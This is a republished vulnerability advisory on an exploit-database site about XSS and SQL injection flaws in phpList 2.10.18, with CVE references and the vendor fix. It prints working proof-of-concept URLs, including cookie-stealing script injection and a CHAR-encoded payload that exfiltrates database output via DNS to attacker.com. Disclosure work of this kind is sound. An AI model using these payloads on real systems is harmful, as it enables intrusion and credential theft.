[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

phpList 2.10.18 Cross Site Scripting / SQL Injection Vulnerability

Author
High-Tech Bridge
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-19164
Category
web applications
Date add
11-08-2012
Platform
php
Vendor: phpList Ltd
Vulnerable Version(s): 2.10.18 and probably prior
Tested Version: 2.10.18
Vendor Notification: July 11, 2012 
Public Disclosure: August 8, 2012 
Vulnerability Type: Cross-Site Scripting [CWE-79], SQL Injection [CWE-89]
CVE References: CVE-2012-3952, CVE-2012-3953
CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Risk Level: Medium 
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab has discovered multiple vulnerabilities in phpList, which can be exploited to perform Cross-Site Scripting (XSS) and SQL Injection attacks against the vulnerable application.


1) Cross-Site Scripting (XSS) in phpList: CVE-2012-3952

Input passed via the "unconfirmed" GET parameter to /admin/index.php (when "page" is set to "user") is not properly sanitised before being returned to the user.

This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:


http://[host]/admin/?page=user&find=1&unconfirmed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E



2) SQL Injection in phpList: CVE-2012-3953

Input passed via the "delete" GET parameter to /admin/index.php (when "page" is set to "editattributes") is not properly sanitised before being used in SQL query.

This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. However successful exploitation of this vulnerability requires administrator's privileges. 


The following PoC demonstrates vulnerability exploitation under administrator's account:


http://[host]/admin/?page=editattributes&id=1&delete=1 union select version() --



Alternative exploitation of the SQL injection can be performed via XSRF vector and does not require administrative privileges. The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):


http://[host]/admin/?page=editattributes&id=1&delete=1 union select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))) -- 



Second alternative is to exploit this SQL injection vulnerability also via XSRF vector, but to perform XSS attack against logged-in administrator. The following PoC code will simply display administrator cookies:


http://[host]/admin/?page=editattributes&id=1&delete=1 union select char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62) -- 




-----------------------------------------------------------------------------------------------

Solution:

Upgrade to phpList 2.10.19

More Information:
http://www.phplist.com/?lid=579

-----------------------------------------------------------------------------------------------



#  0day.today [2024-12-26]  #